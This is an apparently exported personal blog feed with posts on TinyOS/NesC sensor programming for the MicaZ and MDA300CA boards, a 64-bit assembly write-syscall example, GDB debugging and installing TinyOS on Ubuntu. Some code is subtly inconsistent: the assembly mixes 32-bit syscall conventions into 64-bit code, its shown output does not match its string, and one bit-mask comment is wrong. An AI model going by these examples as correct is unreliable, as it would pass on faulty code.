<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b><span style="background: transparent;">/opt/tinyos-2.1.1/tos/platforms/micaz/DIOP.nc:96:
Read_DIO.readDone not connected </span></b></i></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b><span style="background: transparent;">make:
*** [exe0] Error 1 </span></b></i></span></span>
</div>
<div style="font-style: normal; font-weight: normal; margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="background: transparent;"> </span>
</div>
<div style="font-style: normal; font-weight: normal; margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<br /></div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b><span style="background: #3deb3d;">Satus:Issues
Solved </span></b></i></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<br /></div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b><span style="background: #3deb3d;">Edit
the DIOP.nc file by comment the the signal readDone event [
It will disable the implicit the signal raise for I2C by
enabling the digital pin connected to Atmega 128
Microcontroller to MDA 300 CA Data Aqusition Board]</span></b></i></span></span></div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="background: #3deb3d;"> <span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>By
adding the 1 KOhm Resistance to the VCC - CLK and VCC to
Data will enable the I2C on the Board</b></i></span></span></span></div>
<div style="font-style: normal; font-weight: normal; margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="background: transparent;"> <span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span style="font-size: x-small;"><i><b>event
void DigOutput.readyToRead (){ </b></i></span></span></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="background: transparent;"> <span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>uint8_t
channel; </b></i></span></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="background: transparent;"> <span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>channel
= call DigOutput.read(); </b></i></span></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="background: transparent;"> <span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>channel
= channel | 0xC0; //to consider only the least
significant 6 bit. 0xC0 = 1100 0000 </b></i></span></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<br /></div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="background: transparent;"> <span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>if
(channel == 0xFE){ </b></i></span></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b><span style="background: transparent;">//
signal DigChannel_0.readDone(SUCCESS, channel); </span></b></i></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="background: transparent;"> <span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>}else
if (channel == 0xFD){ </b></i></span></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b><span style="background: transparent;">//
signal DigChannel_1.readDone(SUCCESS, channel); </span></b></i></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="background: transparent;"> <span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>}else
if (channel == 0xFB){ </b></i></span></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b><span style="background: transparent;">//
signal DigChannel_2.readDone(SUCCESS, channel); </span></b></i></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="background: transparent;"> <span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>}else
if (channel == 0xF7){ </b></i></span></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b><span style="background: transparent;">//
signal DigChannel_3.readDone(SUCCESS, channel); </span></b></i></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="background: transparent;"> <span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>}else
if (channel == 0xEF){ </b></i></span></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b><span style="background: transparent;">//
signal DigChannel_4.readDone(SUCCESS, channel); </span></b></i></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="background: transparent;"> <span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>}else
if (channel == 0xDF){ </b></i></span></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b><span style="background: transparent;">//
signal DigChannel_5.readDone(SUCCESS, channel); </span></b></i></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="background: transparent;"> <span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>}else
if (channel == 0xFF){ </b></i></span></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b><span style="background: transparent;">//
signal Read_DIO.readDone(SUCCESS, channel); </span></b></i></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="background: transparent;"> <span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>}
</b></i></span></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="background: transparent;"> <span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>}
</b></i></span></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<br /></div>
</div>
Anonymoushttp://www.blogger.com/profile/14545770648325591855noreply@blogger.com0tag:blogger.com,1999:blog-4527228262090522827.post-31079026662008173112013-10-23T04:54:00.000-07:002013-10-23T08:31:13.659-07:00IA64 Assembly code of Write Sys call<div dir="ltr" style="text-align: left;" trbidi="on">
<b>Assembly code of a Simple C program...?</b><br />
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Here i am going to write a simple Intel ArCh 64 Assembly code for the write system call. Generally when we compiling a code, Assembler makes assembly code in to the executable code. For writing a assembly code we have good knowledge of opcode of IA64 . This is just a sample program taken from the Book of "Writing Security Tools and Exploits". Here first i find the assembly of the c code by debugging the executable code or using the <i>objdump </i> command. The make a simple assembly code file of that. After that i use assembler to compile that in to executable code. Finally i linked this code to an executable one. If you dig deeper in this , you can make a better code of your own.</div>
<br />
<b><i>C Program </i></b><br />
<br />
int main()<br />
{<br />
while(1)<br />
write(1,"Hello, world !\n",15);<br />
exit(0);<br />
}<br />
<br />
<b><i>64 bit -Intel Assembly code </i></b><br />
<br />
#hello.asm<br />
BITS 64 ;64bit Intel Arch<br />
section .data ;Data Segment<br />
msg db "Hello World", 0x0a ; The String and newline char<br />
section .text ;Text Segment<br />
<br />
global _start ;Default entry point for ELF linking<br />
<br />
_start:<br />
;SYSCALL:write(1,msg,14)<br />
xor ecx,ecx<br />
mov eax, 4 ; Put 4 into eax , since write is syscall #4<br />
mov ebx,1 ; Put 1 into ebx, since stdout is 1<br />
mov ecx, msg ; Put the address fo the string into ecx<br />
mov edx,14 ; Put 14 into edx, since our string is 14 bytes<br />
int 0x80 ; Call the kernel to make the system call happen<br />
<br />
loop _start ; Start a loop<br />
;SYSCALL:exit(0)<br />
mov eax,1 ; Put into eax since exit is syscall#!<br />
mov ebx,0 ; Exit with success<br />
int 0x80 ; Do the syscall<br />
<br />
<br />
<br />
<br />
<b>Assembler make this code in to object code</b><br />
<br />
nasm -f elf64 hello.asm <br />
<br />
<b>Link this file using ld command in linux </b><br />
<br />
ld -s -o hello hello.o<br />
<br />
<b>Execute the code</b><br />
./hello<br />
<br />
<br />
<b>Output</b><br />
<br />
Hello, world !<br />
Hello, world !<br />
Hello, world !<br />
Hello, world !<br />
Hello, world !<br />
Hello, world !<br />
Hello, world !<br />
Hello, world !<br />
Hello, world !<br />
Hello, world !<br />
Hello, world !<br />
Hello, world !<br />
Hello, world !<br />
Hello, world !<br />
<br /><br />
<br /></div>
Anonymoushttp://www.blogger.com/profile/14545770648325591855noreply@blogger.com0tag:blogger.com,1999:blog-4527228262090522827.post-88061092053685794872013-10-23T03:27:00.004-07:002013-10-23T03:31:47.697-07:00GDB<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<b>How to debug an elf using GDB..?</b><br />
<br />
<div style="text-align: justify;">
GNU Debugger (GDB) is one of the most widely using debugger in elf debugging. It gives the access to user for control the stack flow of program and help us to easily find out the Internal error in the program. This is very useful when any " Crash" Occurs in the Program(Usually comes the segmentation fault ), In this case we can dumb the code in the Core file and find out how that fault is happen in our program and resolve that issue.</div>
<br />
<b><i>How to Create a core file..?</i></b><br />
<br />
ulimit is one of the command used to create a core file in linux .<br />
ulimit -a -> It used to get the user limit.<br />
ulimit -c 1024 : is used for create 1 MB of core file<br />
<i><b><br /></b></i>
<i>Some useful command for code analysis,</i><br />
<br />
objdump - d -> Di-assemble the code<br />
<br />
<u><i><b>Debug 1</b></i></u><br />
<br />
<b> Step 1:</b> gdb ./a.out core.<br />
<br />
<i> This will help load stack of the ./a.out in to the GDB</i><br />
<br />
<b> Step 2:</b> Set a breakpoint.<br />
<br />
(gdb) break main<br />
or<br />
(gdb) break 1<br />
Then you will get a message like this<br />
<br />
Breakpoint 1 at 0x4010d1<br />
<br />
<b> Step 3:</b> Execute the program.<br />
<br />
(gdb) run<br />
<b> Step 4:</b> Then we get the line by line executing statement of the program.<br />
<br />
if you want to go for the next<br />
(gdb)n<br />
<br />
<b> Step 5:</b> If you want to disassemble the stack type,<br />
<br />
(gdb)disassemble<br />
<br />
Dump of assembler code for function __libc_start_main:<br />
0x00007ffff7a3c680 <+0>: push %r14<br />
0x00007ffff7a3c682 <+2>: push %r13<br />
0x00007ffff7a3c684 <+4>: push %r12<br />
0x00007ffff7a3c686 <+6>: push %rbp<br />
---Type <return> to continue, or q <return> to quit---<br />
0x00007ffff7a3c687 <+7>: push %rbx<br />
--> 0x00007ffff7a3c688 <+8>: mov %rcx,%rbx //<b><i> Segmentation Fault</i></b> 0x00007ffff7a3c68b <+11>: sub $0x90,%rsp<br />
0x00007ffff7a3c692 <+18>: mov 0x396877(%rip),%rax # 0x7ffff7dd2f10<br />
0x00007ffff7a3c699 <+25>: mov %rdi,0x18(%rsp)<br />
---Type <return> to continue, or q <return> to quit---<br />
0x00007ffff7a3c69e <+30>: mov %esi,0x14(%rsp)<br />
0x00007ffff7a3c6a2 <+34>: mov %rdx,0x8(%rsp)<br />
0x00007ffff7a3c6a7 <+39>: test %rax,%rax<br />
0x00007ffff7a3c6aa <+42>: je 0x7ffff7a3c774 <__libc_start_main+244><br />
0x00007ffff7a3c6b0 <+48>: mov (%rax),%eax<br />
---Type <return> to continue, or q <return> to quit---<br />
<br />
Step 6: By using this command we can easily find out on which instruction cause the problems in the program.<br />
<br />
**********************************************************************************<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br /></div>
Anonymoushttp://www.blogger.com/profile/14545770648325591855noreply@blogger.com0tag:blogger.com,1999:blog-4527228262090522827.post-66122623552941551522013-10-22T22:42:00.001-07:002013-10-22T22:50:41.330-07:00TinyOS in Ubuntu<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<i><b> How to install TinyOS in Ubuntu.?</b></i><br />
<br />
TinyOS can be installed in Ubuntu by using the following Steps.<br />
<br />
Step 1: Find out the appropriate Mirror list from the Tiny-OS Website <br />
<a href="http://www.tinyos.net/">http://www.tinyos.net/</a><br />
<br />
Copy the downloading Mirror list and put it in the /etc/apt/sources.list file<br />
<br />
<span style="color: red;"> Mirror List </span><br />
<br />
#Tiny-OS Mirror List<br />
<br />
<i> deb http://tinyos.stanford.edu/tinyos/dists/ubuntu lucid main<br /> deb http://tinyos.stanford.edu/tinyos/dists/ubuntu maverick main<br /> deb http://tinyos.stanford.edu/tinyos/dists/ubuntu natty main<br /> deb http://tinyos.stanford.edu/tinyos/dists/ubuntu feisty main</i><br />
<br />
Step 2: Update the repository of the ubuntu by using the following command<br />
<br />
<i> sudo apt-get update </i><br />
<br />
Step 3: Install the TinyOS<br />
<br />
<i> sudo apt-get install tinyos</i><br />
<br />
Reading package lists... Done<br />
Building dependency tree <br />
Reading state information... Done<br />
Package tinyos is a virtual package provided by:<br />
tinyos-2.1.2 2.1.2-20120813<br />
tinyos-2.1.1 2.1.1-20100401<br />
tinyos-2.1.0 2.1.0-20090326<br />
tinyos-2.0.2 2.0.2-20090326<br />
You should explicitly select one to install.<br />
<br />
<br />
Now you will get the list of version available in the link<br />
Choose you version of downloads<br />
<br />
<i> sudo apt-get install tinyos-2.1.1</i><br />
Step 4: After the installation a directory is created in the System directory structure .. /opt/tinyos-2.1.1/<br />
<br />
Directory contains<br />
apps - NesC Application Directory<br />
licenses - License Text <br />
README - Readme file<br />
release-notes.txt - Release Note<br />
support - Supporting tools available in c,python,cpp,Java<br />
tinyos.sh - Shell script for the Tiny-OS environment building<br />
tos - TinyOS System dierctory<br />
<br />
Step 5: Change the permission of the file..(If you are working as non-root user)<br />
<br />
chown -R david:0 /opt/tinyos-2.1.1<br />
<br />
drwxrwxrwx 3 root root 4096 Oct 23 10:11 ./<br />
drwxr-xr-x 25 root root 4096 Oct 10 10:05 ../<br />
drwxr-xr-x 6 david root 4096 Oct 23 10:34 tinyos-2.1.1/<br />
<br />
<br />
Step 6: Exporting the environment variable for tinyos<br />
<br />
vim /home/username/.bashrc<br />
<br />
<pre class="c" name="code"> export TOSDIR=$TOSROOT/tos
export CLASSPATH=$TOSROOT/support/sdk/java/tinyos.jar:.$CLASSPATH
export MAKERULES=$TOSROOT/support/make/Makerules
export PATH=/opt/msp430/bin:$PATH
source /opt/tinyos-2.1.1/tinyos.sh</pre>
or<br />
<br />
Open a new terminal you can see the message "Setting up for TinyOS 2.1.1"<br />
<br />
Step 7: Installing the JNI library for the support tools<br />
<br />
vim /bin/tos-install-jni<br />
<br />
change #/bin/sh to #/bin/bash<br />
<br />
sudo tos-install-jni<br />
<br />
Installing 64-bit Java JNI code in /usr/lib/jvm/java-6-openjdk-amd64/jre/lib/amd64 ... <br />
done.<br />
<br />
Step 8: Go to the<br />
<br />
/opt/tinyos-2.1.1/support/<br />
/opt/tinyos-2.1.1/apps/ <br />
<br />
make<br />
<div style="text-align: justify;">
Installation of the TinyOS complete Here. if you are going to the higher version of the tiny-OS ,may be there Tiny-OS shell script file is not there .so we have to add the env variable in the bashrc file manually for building the environment</div>
<br />
********************************************************************************** <br />
Reference Link:<br />
http://www.tinyos.net/tinyos-2.x/doc/<br />
http://tinyos.stanford.edu/tinyos-wiki/index.php/Installing_TinyOS_2.1.1<br />
http://en.wikipedia.org/wiki/TinyOS<br />
<br />
<br />
<br />
<br /></div>
Anonymoushttp://www.blogger.com/profile/14545770648325591855noreply@blogger.com0tag:blogger.com,1999:blog-4527228262090522827.post-19729641279744926962013-10-22T20:39:00.001-07:002013-10-22T20:39:59.465-07:00NesC : TinyOS - ZigBee Data Reading from MDA300 CA<a href="http://sens-space.blogspot.com/2013/10/tinyos-zigbee-data-reading-from-mda300.html?spref=bl">NesC : TinyOS - ZigBee Data Reading from MDA300 CA</a>: Reading SH11C Sensor Data [Temperature and Humidity] from MDA300CA DAB Sensor Sensor Programs /* Author : Bipin. Ku...Anonymoushttp://www.blogger.com/profile/14545770648325591855noreply@blogger.com0tag:blogger.com,1999:blog-4527228262090522827.post-56917788653228144662013-10-22T01:59:00.000-07:002013-11-21T08:09:27.654-08:00TinyOS Micaz Mote / MDA 300 CA - ADC Read<div dir="ltr" style="text-align: left;" trbidi="on">
<style type="text/css">P { margin-bottom: 0.21cm; }</style>
<br />
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<u><b>Read data from the ADC of
MDA300CA Board</b></u></div>
<div style="margin-bottom: 0cm;">
<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: left; margin-right: 1em; text-align: left;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKIRtNIJ2R0jYfcsNvC_T06oWbH-oCtH0wkFQ5-MvmmjhSnHSu7ytdwC7u9W5o1ADP0qz3KbiQ3dZo86R5Kx6XRjCrajktiWMAW1mmSFBjaQZ9cWEzc1Y_3-gOuJNvfWpWnVXg3qHLGTlu/s1600/MDA300CA_Sm.jpeg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="166" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKIRtNIJ2R0jYfcsNvC_T06oWbH-oCtH0wkFQ5-MvmmjhSnHSu7ytdwC7u9W5o1ADP0qz3KbiQ3dZo86R5Kx6XRjCrajktiWMAW1mmSFBjaQZ9cWEzc1Y_3-gOuJNvfWpWnVXg3qHLGTlu/s200/MDA300CA_Sm.jpeg" width="200" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">MDA 300 CA Data Acquisition Board</td></tr>
</tbody></table>
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj11YknrDxLgGh4FjShg6gycXQUAp5trlm2FoH-Sb8Buh__FxMLZe9crvm4Byg0B7bE65MvdYY8bgJw9SjFEs9aaSFYrB4EKGyNg5Csn-cxD6st9O4rWMiO91SAeF8A8ZIfwqBdJuGdP5aD/s1600/url.jpeg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><br /></div>
<div style="margin-bottom: 0cm; text-decoration: none;">
<i><b><br /></b></i></div>
<div style="font-weight: normal; margin-bottom: 0cm; text-decoration: none;">
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br /></div>
<div style="margin-bottom: 0cm;">
<b>Introduction</b></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
Reading data from
the ADC channels of any Aquision Board need some generic
configuration file of the board, usually this file consists
in the directory of the Data Aquisition Board component. Using
this file we can read the data from any channels of the
ADC in the device. On each channels have 16 bit of the
data so we can get the range of the value coming from the
Channels from 0 to 2 to the power of 16 . Here we have 8
channels for getting data from the sensor . By connecting
the Sensor directly to the channel we can collect the sernsor
data.
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<i><b>NesC Code for
Reading data from ADC</b></i></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<i><b>Configuration File</b></i></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
/*</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
Author : Bipin.K</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
*/</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
configuration</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
#include "ADCRead.h"
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
configuration ADCReadAppC
{}
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
implementation <br />
{
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
components MainC,
ADCReadC, LedsC;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
components new
TimerMilliC() as MyTimer;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
/* Data Aquisition
Board Component file */</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
components new
SensorMDA300CA() as Mda300;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
components
SerialActiveMessageC;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
components new
SerialAMSenderC(AM_ADC);
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
ADCReadC.Boot ->
MainC.Boot;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
ADCReadC.Timer0 ->
MyTimer;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
ADCReadC.Leds ->
LedsC.Leds;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
ADCReadC.Packet ->
SerialAMSenderC;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
ADCReadC.AMPacket ->
SerialAMSenderC;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
ADCReadC.AMSend ->
SerialAMSenderC;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
ADCReadC.AMControl ->
SerialActiveMessageC;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
ADCReadC.Sensor_0_Read
-> Mda300.ADC_0;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
}</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<b>Module file</b></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
#include "ADCRead.h"
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
module ADCReadC {
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
uses {
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
interface
Read<uint16_t> as Sensor_0_Read;</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
interface Packet;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
interface AMPacket;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
interface AMSend;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
interface SplitControl
as AMControl;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
interface Boot;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
interface Leds;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
interface Timer<TMilli>
as Timer0;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
}
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
}
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
implementation
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
{
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
uint16_t val_sensor_0 =
0;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
bool adc0Done = FALSE;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
bool busy = FALSE;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
message_t pkt;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
task void
readDoneTask();
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
event void Boot.booted()
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
{
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
call AMControl.start();
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
}
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
event void
AMControl.startDone(error_t err) {
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
if(err == SUCCESS) {
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
if(call Leds.get() &
LEDS_LED0) {
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
call Leds.led0Off();
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
}
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
call
Timer0.startPeriodic(TIMER_PERIOD_MILLI);
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
} else {
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
if(call Leds.get() &
LEDS_LED0) {
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
} else {
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
call Leds.led0On();
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
}
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
call
AMControl.start();
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
}
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
}
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
event void
AMControl.stopDone(error_t err) {
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
if(call Leds.get() &
LEDS_LED0) {
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
call Leds.led0Off();
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
}
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
}
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
event void
Timer0.fired() {
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
if(busy == FALSE) {
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
call
Sensor_0_Read.read();
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
call
Leds.led2Toggle();
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
}
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
}
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
event void
Sensor_0_Read.readDone(error_t err, uint16_t val) {
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
///////////
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
// DEBUG //
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
///////////
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
call Leds.led1Toggle();
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
if(err == SUCCESS) {
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
val_sensor_0 = val;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
adc0Done = TRUE;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
post readDoneTask();
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
}
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
}
</div>
